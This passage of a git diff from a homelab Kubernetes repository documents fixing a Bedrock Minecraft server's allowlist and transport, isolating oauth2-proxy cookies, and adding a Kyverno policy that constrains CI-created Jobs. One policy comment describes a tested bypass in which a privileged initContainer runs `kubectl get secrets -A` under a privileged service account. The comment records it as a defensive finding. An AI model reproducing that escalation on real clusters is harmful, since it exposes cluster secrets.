#### CONFIRMED: one gamertag added, and a player joined
|
||||||
|
|
||||||
|
**This is no longer a hypothesis. The fix was applied and it worked.** *(The join itself is
|
||||||
|
**operator-reported** — 2026-09-29, the operator added the player's gamertag and the Bedrock client
|
||||||
|
connected and joined. I did not watch it.)* Two independent things corroborate it **directly on disk**:
|
||||||
|
|
||||||
|
- `allowlist.json` went from `[]` to **one entry**, and that entry's **`xuid` is populated**
|
||||||
|
(`keys=['ignoresPlayerLimit','name','xuid']`, file 75 bytes, mtime **22:03:17**). Per the vendor doc,
|
||||||
|
`xuid` is *"Optional. If it's not set then it will be populated when someone with a matching name
|
||||||
|
**connects**."* The operator wrote only the name — `audit.log` records `Edited file
|
||||||
|
…/allowlist.json` at **22:02:13** — so **the XUID was written by the server, on connect, at 22:03:17**.
|
||||||
|
That is server-authored evidence of an Xbox-Live-authenticated join. *(Observed: the file state and
|
||||||
|
both timestamps. Reasoned from the vendor doc: that a populated XUID implies a connect.)*
|
||||||
|
- The RakNet path still answers after the restart this involved: a pong from `192.168.2.22:19132` at
|
||||||
|
22:06, `MCPE;…;1.26.52;0;10;…` (`players=0` — the player had left by then), new `server_guid` matching
|
||||||
|
the new pid.
|
||||||
|
|
||||||
|
**So the causal chain is closed: `allow-list=true` + `allowlist.json == []` was the wall, and nothing
|
||||||
|
else was.** The earlier mapping of the client's *"You are not invited"* string to the empty allowlist was
|
||||||
|
**reasoned** from the vendor doc (there is no BDS log on disk to read it from); adding exactly one
|
||||||
|
gamertag and getting exactly one successful join **confirms that mapping**. No transport change, no
|
||||||
|
manifest change, and no network change was involved in the fix.
|
||||||
|
|
||||||
|
> **Note the route the operator actually used:** they **edited `allowlist.json` directly** and then
|
||||||
|
> **restarted** the server (`audit.log`: edit 22:02:13 → `stop_server` 22:02:37 → `start_server`
|
||||||
|
> 22:02:41; pid 47006 → **47875**). That is route 2 below, and a restart is a valid substitute for
|
||||||
|
> `allowlist reload`. Route 1 (`allowlist add` in the console) avoids the restart and is still preferred.
|
||||||
|
|
||||||
|
**This is also positive evidence that the RakNet path works end to end.** A refusal authored by *our*
|
||||||
|
server required the client to reach our server and get an answer back. The only listener on 19132 is
|
||||||
|
the **RakNet UDP** socket — there is **no TCP 19132 listener at all**, and NetherNet requires a TCP
|
||||||
|
signalling socket on `server-port`. So the client cannot have used NetherNet against this server; it
|
||||||
|
arrived over `19132/udp`, through `crafty-l4-udp` and the VIP. **The 19132-19134/UDP exposure is not
|
||||||
|
inert — it is the path that carried both the pong and this refusal.** *(Observed: the listeners, the
|
||||||
|
absent TCP socket, `transport=raknet`. Reasoned from those: that the refusal traversed that path. Not
|
||||||
|
captured: the actual player flow — see the caveat below.)*
|
||||||
|
|
||||||
|
#### Caveat: BDS console output is NOT on disk, so a join attempt cannot be correlated from the filesystem
|
||||||
|
|
||||||
|
`K3s-Bedrock`'s `log_path` in `crafty.sqlite` is the **empty string**, and `Dedicated_Server.txt` is
|
||||||
|
**0 bytes**. Crafty does not persist a Bedrock server's stdout anywhere on the PVC — the console exists
|
||||||
|
only in the panel UI. `commander.log` between 21:39 and 21:56 contains nothing but `homelab`
|
||||||
|
crash-detection lines and the `raknet_ping` chatter: **no join, no gamertag, no XUID, no allowlist
|
||||||
|
denial.** That absence is **not** evidence about where the refusal came from; it is evidence that
|
||||||
|
Crafty logs no BDS stdout at all. **To see a rejected join you must watch the panel console live.**
|
||||||
|
UNVERIFIED, and only observable in the UI.
|
||||||
|
|
||||||
|
#### How a Bedrock player actually gets authorized here
|
||||||
|
|
||||||
|
Identity is an **Xbox Live Gamertag** (`online-mode=true` forces XBL auth, which is what gives BDS a
|
||||||
|
gamertag/XUID to check). `allowlist.json` is a JSON array; per the vendor doc the keys are `name` (the
|
||||||
|
gamertag), optional `xuid` (*"populated when someone with a matching name connects"*), and
|
||||||
|
`ignoresPlayerLimit`. So the operator adds **one entry per player, keyed on gamertag** — there is no
|
||||||
|
group, role, or Keycloak integration, and **none of this touches the oauth2-proxy/Keycloak gate**,
|
||||||
|
which protects only the web panel.
|
||||||
|
|
||||||
|
Three ways to do it, all **operator actions**. **Routes 1 and 2 are both proven** — route 2 is the one
|
||||||
|
that produced the confirmed join above:
|
||||||
|
|
||||||
|
1. **Preferred — the panel console.** In Crafty, open `K3s-Bedrock` → Console and send:
|
||||||
|
`allowlist add <Gamertag>` (quote it if it contains a space: `allowlist add "Example Name"`).
|
||||||
|
This writes `allowlist.json` **and** takes effect immediately, with no restart.
|
||||||
|
2. **Edit the file, then reload.** Write `/crafty/servers/c5837301-…/allowlist.json`, then send
|
||||||
|
`allowlist reload` in the console — *"After you've modified the file you need to run the command
|
||||||
|
`allowlist reload` to make sure that the server knows about your new change."* Shape:
|
||||||
|
|
||||||
|
```json
|
||||||
|
[
|
||||||
|
{ "ignoresPlayerLimit": false, "name": "FirstPlayerGamertag" },
|
||||||
|
{ "ignoresPlayerLimit": false, "name": "SecondPlayerGamertag" }
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **Turn the allowlist off entirely** — `allow-list=false` in `server.properties` (restart), or
|
||||||
|
`allowlist off` in the console. Note the vendor's warning: `allowlist on|off` *"does not change the
|
||||||
|
value in the server.properties file"*, so a console `off` silently reverts on the next start.
|
||||||
|
**Not recommended:** the game port is deliberately un-gated at the network layer (see *Game-port L4
|
||||||
|
exposure*), so the allowlist is the **only** thing deciding who may join. Keep it `true` and enumerate
|
||||||
|
players.
|
||||||
|
|
||||||
|
> **`allowlist.json` is application state on the PVC**, exactly like `transport=raknet`. Neither is in
|
||||||
|
> git and **Flux can restore neither**. Be precise about what breaks them, because the two cases differ:
|
||||||
|
>
|
||||||
|
> - **A pod or server *restart* preserves both** — observed: the 22:02:48 restart (pid 47006 → 47875)
|
||||||
|
> kept `transport=raknet` (`server.properties` mtime unchanged at 21:33:31) and kept the allowlist
|
||||||
|
> entry. What a **pod** restart *does* break is that `K3s-Bedrock` has `auto_start=0`, so the Bedrock
|
||||||
|
> server simply **does not come back** until someone starts it by hand.
|
||||||
|
> - **A server *recreate* or reinstall silently resets both** — a fresh `server.properties` ships
|
||||||
|
> `transport=nethernet` (nothing bound on 19132/udp) and a fresh `allowlist.json` is `[]` (everyone
|
||||||
|
> refused). Neither change announces itself, and the server will look healthy and started in the panel
|
||||||
|
> while being unreachable *and* unjoinable.
|
||||||
|
>
|
||||||
|
> **Treat both files as backup-relevant, and re-run the 5-step connect procedure above after any Bedrock
|
||||||
|
> recreate or BDS update.**
|
||||||
|
|
||||||
|
#### Why this does not change the transport recommendation
|
||||||
|
|
||||||
|
`transport=raknet` is correct, and with the allowlist entry in place the combination is **proven
|
||||||
|
end-to-end by a player who has joined** — not merely the best-reasoned option. The allowlist refusal was
|
||||||
|
orthogonal to transport all along: it would have refused players identically under NetherNet. Switching
|
||||||
|
to NetherNet would *add* work (TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus
|
||||||
|
`server-udp-ports` pinned and exposed) and would admit **not one extra player**. The ranking below stands,
|
||||||
|
and option 1 is now settled rather than provisional.
|
||||||
|
|
||||||
|
#### Decision (PROVEN, not provisional): `transport=raknet` stays; the 19132-19134/UDP exposure is correct and live
|
||||||
|
|
||||||
|
No manifest change is needed or wanted. `service-l4.yaml`, `networkpolicy.yaml` and the
|
||||||
|
`containerPort`s were already shaped for exactly RakNet, and that shape is now **proven by a player who
|
||||||
|
has connected and joined over `192.168.2.22:19132`** — not assumed, and not merely reasoned. The options
|
||||||
|
that would have required manifest work are all **not recommended**:
|
||||||
|
|
||||||
|
| Option | Manifest consequence | Verdict |
|
||||||
|
|---|---|---|
|
||||||
|
| **Keep `transport=raknet`** + allowlist entries (**this is what works**) | **none** — the existing Service, policy and ports were already correct | **Done; proven.** A player has joined over the VIP. Zero manifest change, vanilla parity, real Bedrock world. |
|
||||||
|
| **GeyserMC + Floodgate** on the `homelab` Paper server | none either (Geyser also binds `19132/udp`), but it would **collide** with the live BDS on 19132 — one of them must move | Hold in reserve. Only worth it if RakNet is really removed, or if you *want* one shared world. Cost: Bedrock players join the **Java** world, not a Bedrock world; Java-only mechanics and some content differ; it is another moving part to patch. |
|
||||||
|
| **Pin/downgrade BDS** to a pre-nethernet release | none | Unnecessary — the *current* build already speaks RakNet. Also fragile: Microsoft removes old BDS downloads, and Crafty's Bedrock installer tracks latest. UNVERIFIED whether Crafty can pin a version at all. |
|
||||||
|
| **A third-party server** (PocketMine-MP, Nukkit) | none | No. Loses vanilla parity and the world format; a large change to solve a problem that is not occurring. |
|
||||||
|
| **Accept NetherNet** | 19132-19134/UDP becomes **inert**; nethernet would instead need **TCP** 19132 added to `crafty-l4-tcp` *and* to `crafty-allow-ingress`, plus `server-udp-ports` pinned and exposed for the negotiated media path | No — and note it is **not currently in use**: `transport=raknet` and there is no TCP 19132 listener. Strictly more manifest work than the option that already works, it admits no extra player (the allowlist is the gate), and WebRTC media behind a shared VIP and SNAT is unproven here. |
|
||||||
|
|
||||||
|
#### If RakNet is ever really removed
|
||||||
|
|
||||||
|
Then BDS opens no UDP listener and this exposure has nothing to bind to — an architecture problem, not
|
||||||
|
a config one. The migration is **GeyserMC + Floodgate as a plugin on the existing `homelab` Paper
|
||||||
|
server**, because Geyser speaks RakNet on `19132/udp` itself: the VIP, the Service, the policy and the
|
||||||
|
`containerPort`s all stay **byte-for-byte as they are**, and Bedrock clients keep connecting to
|
||||||
|
`crafty-mc.home.keithjackson.dev:19132`. What changes is the world: Bedrock players land in the Java
|
||||||
|
world via Floodgate (no Xbox-authenticated Bedrock account needed on the Java side), the Bedrock server
|
||||||
|
is retired, and `K3s-Bedrock` stops the day Geyser starts — **they cannot share 19132**. Installing it
|
||||||
|
is a PVC write plus a Paper restart, i.e. an **operator action**: drop `Geyser-Spigot.jar` and
|
||||||
|
`floodgate-spigot.jar` into `/crafty/servers/13c7b85d-…/plugins/` and restart `homelab`, then set
|
||||||
|
Geyser's `bedrock.port: 19132` and `clone-remote-port: false` in its generated `config.yml`.
|
||||||
|
Geyser's own Bedrock-version support is **external and unmeasured here** — check that it supports the
|
||||||
|
Bedrock client version in use before committing.
|
||||||
|
|
||||||
|
### Bedrock realities that are NOT platform defects but present identically
|
||||||
|
|
||||||
|
- **LAN / Friends-tab discovery can never work here.** Bedrock discovery is a UDP broadcast on 19132
|
||||||
|
inside one L2 segment; this server sits behind a LoadBalancer VIP (and SNAT), not on the LAN, so it
|
||||||
|
will **never** appear in a client's Friends/LAN list. Players must use **Add Server** and type the
|
||||||
|
address and port by hand: `crafty-mc.home.keithjackson.dev` (or the VIP) with port **19132**.
|
||||||
|
`external-dns` publishes that name from the **-tcp** Service, so it resolves to the shared VIP and
|
||||||
|
is correct for Bedrock too — only the port differs from Java's 25565.
|
||||||
|
- **Consoles cannot reach this at all.** Switch/Xbox/PlayStation Bedrock clients have no
|
||||||
|
arbitrary-server-address field; only Windows/mobile/Fire do. Reaching it from a console needs a DNS
|
||||||
|
redirect of a featured-server hostname, which is out of scope for `service-l4.yaml`.
|
||||||
|
- **`enable-lan-visibility=true` (the shipped default) collides with Bedrock slots 1 and 2 — now
|
||||||
|
OBSERVED, not merely documented.** Under `transport=raknet` it makes a server bind the **default**
|
||||||
|
ports 19132 *and* 19133 even when `server-port`/`server-portv6` say otherwise; the shipped
|
||||||
|
`bedrock_server_how_to.html` says so, and on 2026-09-29 a RakNet ping to
|
||||||
|
`192.168.2.22:19133` returned **the same pong, from the same `server_guid`, as `:19132`** — one
|
||||||
|
server occupying two of the three Bedrock slots. `:19134` correctly timed out. So a second Bedrock
|
||||||
|
server put on 19133 will fight the first. Set `enable-lan-visibility=false` on every Bedrock server
|
||||||
|
after the first; LAN discovery cannot work here anyway (above).
|
||||||
|
- **`server-portv6` is the IPv6 listener and is not exposed; `19133` is nonetheless in use.**
|
||||||
|
`service-l4.yaml` is IPv4 single-stack, so the *IPv6* socket `…:4ABD` that BDS opens for
|
||||||
|
`server-portv6=19133` is unreachable from the LAN. But because `enable-lan-visibility=true` (above)
|
||||||
|
the server *also* answers on **IPv4 19133**, which the UDP Service does expose — measured. So
|
||||||
|
`19133` in `server.properties` genuinely does mean "slot 1 is taken", contrary to what this file
|
||||||
|
previously said.
|
||||||
|
|
||||||
## Policies
|
## Policies
|
||||||
|
|
||||||
`namespace.yaml` sets only `gateway-access=shared` (platform namespace, like headlamp/homepage), so
|
`namespace.yaml` sets only `gateway-access=shared` (platform namespace, like headlamp/homepage), so
|
||||||
@@ -114,14 +423,48 @@ Gateway VIP). The sidecar→Crafty hop is pod-local (`127.0.0.1`) and not subjec
|
|||||||
local admin. A **non-platform-admins** user → **403** (authenticated but not authorized).
|
local admin. A **non-platform-admins** user → **403** (authenticated but not authorized).
|
||||||
2. **Pod health / fsGroup:** `kubectl -n crafty get pod` Ready 2/2; Crafty writes its DB under
|
2. **Pod health / fsGroup:** `kubectl -n crafty get pod` Ready 2/2; Crafty writes its DB under
|
||||||
`/crafty/app/config` and `/crafty/servers` without EACCES.
|
`/crafty/app/config` and `/crafty/servers` without EACCES.
|
||||||
3. **Server-create + game reach:** in the Crafty UI create a Java server bound to `25565`; start it;
|
3. **Server-create + game reach (Java):** in the Crafty UI create a Java server bound to `25565`;
|
||||||
connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or `192.168.1.55:25565`)
|
start it; connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or
|
||||||
from the LAN and confirm the world loads. (Bedrock: a server on `19132/udp` reached at the VIP.)
|
`192.168.2.22:25565`) from the LAN and confirm the world loads.
|
||||||
|
4. **Bedrock: the connect procedure (VERIFIED end-to-end 2026-09-29 — a player has joined).**
|
||||||
|
Creating and starting the server is **not sufficient**. Do these in order; each step has a distinct
|
||||||
|
failure signature:
|
||||||
|
|
||||||
|
1. **`transport=raknet`** in `server.properties`. The vendor default is `nethernet`, which opens
|
||||||
|
**no UDP listener at all**.
|
||||||
|
2. **A live UDP listener:** `grep 4ABC /proc/net/udp /proc/net/udp6` → a wildcard bind. Under
|
||||||
|
`nethernet` you instead see `4ABC` on **TCP**, which nothing here exposes.
|
||||||
|
3. **A pong from off-cluster:** a RakNet Unconnected Ping to `192.168.2.22:19132` returns a `0x1c`
|
||||||
|
packet whose MOTD string starts `MCPE;`. This proves the VIP, Service and policy path.
|
||||||
|
4. **An allowlist entry for the player's Xbox Gamertag.** `allow-list=true` with
|
||||||
|
`allowlist.json == []` refuses **every** player with *"You are not invited to play on this
|
||||||
|
server"* while the server is otherwise perfectly reachable. In the panel console:
|
||||||
|
`allowlist add <Gamertag>`.
|
||||||
|
5. **Add Server** by hand in a Windows/mobile client: `crafty-mc.home.keithjackson.dev`, port
|
||||||
|
`19132`. It will never appear in the LAN/Friends tab, and a console cannot reach it at all.
|
||||||
|
|
||||||
|
**Two log messages appear on a fully working server and must be ignored:** BDS's
|
||||||
|
`================ TRANSPORT TYPE ERROR ===================` banner (advisory — see *Trap 2*), and
|
||||||
|
Crafty's perpetual `Bedrock ping returned a string with too few fields`. Neither indicates a fault;
|
||||||
|
chasing them is what cost two sessions. The **real** failure signatures are `Got timeout while
|
||||||
|
issuing bedrock ping` (no listener) and *"You are not invited"* (allowlist).
|
||||||
|
|
||||||
## Runtime state: the servers themselves are NOT in git
|
## Runtime state: the servers themselves are NOT in git
|
||||||
|
|
||||||
As of 2026-09-14 one Java server exists — **"homelab"**, Paper 26.2, TCP 25565, 2 GiB heap, autostart
|
As of 2026-09-29 **two** servers exist (both measured live, `select * from servers`):
|
||||||
on, UUID `13c7b85d-00bb-4a58-8c86-2433ca47891c`. It was created through Crafty's v2 API, and **Mojang's
|
|
||||||
|
| Name | Type | Port | UUID | `auto_start` |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `homelab` | `minecraft-java` (Paper 26.2, 2 GiB heap) | TCP 25565 | `13c7b85d-00bb-4a58-8c86-2433ca47891c` | **1** |
|
||||||
|
| `K3s-Bedrock` | `minecraft-bedrock` | UDP 19132 | `c5837301-12b1-404e-b50e-70eafb37226b` | **0** ⚠ |
|
||||||
|
|
||||||
|
`K3s-Bedrock` was created 2026-09-29 20:51 and **still** has `auto_start=0` **and**
|
||||||
|
`crash_detection=0` — re-measured 2026-09-29 21:41 straight out of `crafty.sqlite` (read-only), so the
|
||||||
|
create-API trap documented at the bottom of this file is still live and still unfixed. **It will not
|
||||||
|
come back after a pod restart**, and merging any change to `deployment.yaml` restarts the pod
|
||||||
|
(`strategy: Recreate`). PATCH both to true and read them back.
|
||||||
|
|
||||||
|
`homelab` was created through Crafty's v2 API, and **Mojang's
|
||||||
EULA (<https://aka.ms/MinecraftEULA>) was accepted on the operator's behalf** to let it start; see the
|
EULA (<https://aka.ms/MinecraftEULA>) was accepted on the operator's behalf** to let it start; see the
|
||||||
DECISIONS-LOG entry of that date.
|
DECISIONS-LOG entry of that date.
|
||||||
|
|
||||||
@@ -132,6 +475,10 @@ application state on the `crafty-data` Longhorn PVC, in two places, and **Flux c
|
|||||||
heap sizes, `auto_start` / `crash_detection`.
|
heap sizes, `auto_start` / `crash_detection`.
|
||||||
- `/crafty/servers/<uuid>/` (`servers` subPath) — `paper.jar`, `eula.txt`, `server.properties`, and
|
- `/crafty/servers/<uuid>/` (`servers` subPath) — `paper.jar`, `eula.txt`, `server.properties`, and
|
||||||
**the generated world**. The jar is re-downloadable; the world is not.
|
**the generated world**. The jar is re-downloadable; the world is not.
|
||||||
|
**`transport=raknet` lives here too.** It is the one setting that makes Bedrock reachable at all (see
|
||||||
|
*the transport trap*), it is not in git, Flux cannot restore it, and a freshly created or reinstalled
|
||||||
|
Bedrock server gets the vendor default `transport=nethernet` back — i.e. it silently regresses to
|
||||||
|
"nothing bound on 19132/udp". Re-apply and re-ping after any Bedrock server recreate or BDS update.
|
||||||
|
|
||||||
So a rebuild from git alone yields a healthy but **empty** Crafty with nothing listening on 25565.
|
So a rebuild from git alone yields a healthy but **empty** Crafty with nothing listening on 25565.
|
||||||
Recreating a server by hand means: create it in the UI or API, accept the EULA again, and PATCH
|
Recreating a server by hand means: create it in the UI or API, accept the EULA again, and PATCH
|
||||||
|
|||||||
@@ -150,7 +150,27 @@ spec:
|
|||||||
# Single provider => 302 straight to Keycloak, no oauth2-proxy interstitial button.
|
# Single provider => 302 straight to Keycloak, no oauth2-proxy interstitial button.
|
||||||
- --skip-provider-button=true
|
- --skip-provider-button=true
|
||||||
- --redirect-url=https://crafty.${BASE_DOMAIN}/oauth2/callback
|
- --redirect-url=https://crafty.${BASE_DOMAIN}/oauth2/callback
|
||||||
- --cookie-domain=.${BASE_DOMAIN}
|
# ── COOKIE ISOLATION (bug fix 2026-09-29) ────────────────────────────────────────────
|
||||||
|
# This sidecar and the SHARED forward-auth oauth2-proxy (platform/oauth2-proxy) are
|
||||||
|
# INDEPENDENT instances holding DIFFERENT cookie-secrets (verified in-cluster: the two
|
||||||
|
# `cookie-secret` values differ, so neither can decrypt the other's cookie). Both used
|
||||||
|
# to emit oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and `_oauth2_proxy_csrf`)
|
||||||
|
# scoped to `.${BASE_DOMAIN}`, so the browser kept ONE pair of cookies for BOTH proxies:
|
||||||
|
# whichever authenticated last overwrote the other's session, and the loser then logged
|
||||||
|
# "No valid authentication in request" and bounced to Keycloak -- which, thanks to the
|
||||||
|
# live Keycloak SSO session, silently redirected back and overwrote the cookie again.
|
||||||
|
# That mutual eviction presents EXACTLY as the reported symptom: "I signed in to
|
||||||
|
# Keycloak but I am still not signed in to the app."
|
||||||
|
# Two independent fixes, both applied here (only this side changes -- renaming the
|
||||||
|
# SHARED proxy's cookie would sign every other gated app out):
|
||||||
|
# 1. --cookie-name: a unique name, so the two sessions cannot alias at all.
|
||||||
|
# 2. --cookie-domain: HOST-scoped. A per-app reverse proxy has no reason to broadcast
|
||||||
|
# its session to every other host in the zone; the shared proxy keeps the wide
|
||||||
|
# scope because cross-host forward-auth is precisely its job.
|
||||||
|
# --whitelist-domain deliberately stays zone-wide: it governs permitted post-login
|
||||||
|
# REDIRECT targets, not cookie scope.
|
||||||
|
- --cookie-name=_oauth2_proxy_crafty
|
||||||
|
- --cookie-domain=crafty.${BASE_DOMAIN}
|
||||||
- --whitelist-domain=.${BASE_DOMAIN}
|
- --whitelist-domain=.${BASE_DOMAIN}
|
||||||
- --cookie-secure=true
|
- --cookie-secure=true
|
||||||
- --pass-access-token=true
|
- --pass-access-token=true
|
||||||
|
|||||||
@@ -0,0 +1,377 @@
|
|||||||
|
# Serves: R-SEC-02 (CI holds no broad cluster access)
|
||||||
|
#
|
||||||
|
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
|
||||||
|
#
|
||||||
|
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
|
||||||
|
# `create jobs` in namespace `conformance` can therefore create a Job that runs as
|
||||||
|
# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
|
||||||
|
# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
|
||||||
|
# privileged identity unless something constrains the SHAPE of what it may create.
|
||||||
|
#
|
||||||
|
# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
|
||||||
|
# committed conformance run and deny everything else. The operator chose this model
|
||||||
|
# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
|
||||||
|
# GitOps-native alternative.
|
||||||
|
#
|
||||||
|
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
|
||||||
|
# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
|
||||||
|
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
|
||||||
|
# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
|
||||||
|
# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
|
||||||
|
#
|
||||||
|
# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
|
||||||
|
# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
|
||||||
|
#
|
||||||
|
# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
|
||||||
|
# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
|
||||||
|
# enforceable half: the image must live under the conformance repository path AND be
|
||||||
|
# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
|
||||||
|
# registry path could publish a different digest. TIGHTEN THIS when the image is built by
|
||||||
|
# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
|
||||||
|
# PR, which is exactly where a change to the security boundary belongs.
|
||||||
|
apiVersion: kyverno.io/v1
|
||||||
|
kind: ClusterPolicy
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger-job-shape
|
||||||
|
annotations:
|
||||||
|
policies.kyverno.io/title: Constrain what the conformance CI trigger may create
|
||||||
|
policies.kyverno.io/category: Supply chain
|
||||||
|
policies.kyverno.io/severity: critical
|
||||||
|
homelab.keithjackson.dev/requirements: R-SEC-02
|
||||||
|
homelab.keithjackson.dev/scope: admission-only
|
||||||
|
spec:
|
||||||
|
validationFailureAction: Enforce
|
||||||
|
failurePolicy: Fail
|
||||||
|
background: false
|
||||||
|
rules:
|
||||||
|
- name: trigger-may-create-only-the-committed-conformance-run
|
||||||
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||||
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||||
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger may create ONLY the committed conformance run: a single container,
|
||||||
|
digest-pinned conformance-runner image, serviceAccountName conformance-runner,
|
||||||
|
command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
|
||||||
|
and only the `workspace` and `results` volumes. See
|
||||||
|
platform/kyverno/admission/conformance-trigger-job-shape.yaml.
|
||||||
|
pattern:
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
=(hostNetwork): "false"
|
||||||
|
=(hostPID): "false"
|
||||||
|
=(hostIPC): "false"
|
||||||
|
containers:
|
||||||
|
- image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
|
||||||
|
command:
|
||||||
|
- "./run.sh"
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
=(privileged): "false"
|
||||||
|
|
||||||
|
- name: trigger-volumes-must-be-workspace-or-results
|
||||||
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||||
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||||
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
|
||||||
|
volume is how a constrained pod reaches a host path, a secret, or another SA's token.
|
||||||
|
# foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
|
||||||
|
# matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
|
||||||
|
# asserts EVERY volume is one of the two allowed names.
|
||||||
|
foreach:
|
||||||
|
- list: "request.object.spec.template.spec.volumes"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ element.name }}"
|
||||||
|
operator: AnyNotIn
|
||||||
|
value: ["workspace", "results"]
|
||||||
|
|
||||||
|
- name: trigger-args-must-be-the-committed-flags
|
||||||
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||||
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||||
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Job args may contain only the conformance run's own flags
|
||||||
|
(--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
|
||||||
|
Anything else — a shell, a path, a redirect — is denied.
|
||||||
|
foreach:
|
||||||
|
- list: "request.object.spec.template.spec.containers[0].args"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
|
||||||
|
operator: Equals
|
||||||
|
value: false
|
||||||
|
|
||||||
|
# =========================================================================================
|
||||||
|
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
|
||||||
|
#
|
||||||
|
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
|
||||||
|
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
|
||||||
|
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
|
||||||
|
# executing an arbitrary command, because Kubernetes places no `use` check on
|
||||||
|
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
|
||||||
|
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
|
||||||
|
#
|
||||||
|
# a Job with serviceAccountName conformance-runner and an initContainer
|
||||||
|
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
|
||||||
|
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
|
||||||
|
#
|
||||||
|
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||||
|
#
|
||||||
|
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
|
||||||
|
# needed — the suite has to be cloned at the commit under test. But while the clone logic
|
||||||
|
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
|
||||||
|
# the committed script from an attacker's: both are just `args` on a shell. So the clone
|
||||||
|
# logic moved into the runner image at a fixed path
|
||||||
|
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
|
||||||
|
# rule pins `command` to that path with NO args. An admitted init container therefore
|
||||||
|
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
|
||||||
|
# itself validates against ^[0-9a-f]{40}$.
|
||||||
|
#
|
||||||
|
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
|
||||||
|
# element matches", which would admit the committed clone step PLUS an arbitrary second
|
||||||
|
# init container — the same class of hole rule 2's comment describes for volumes.
|
||||||
|
# =========================================================================================
|
||||||
|
- name: trigger-initcontainers-must-be-the-committed-clone-step
|
||||||
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||||
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
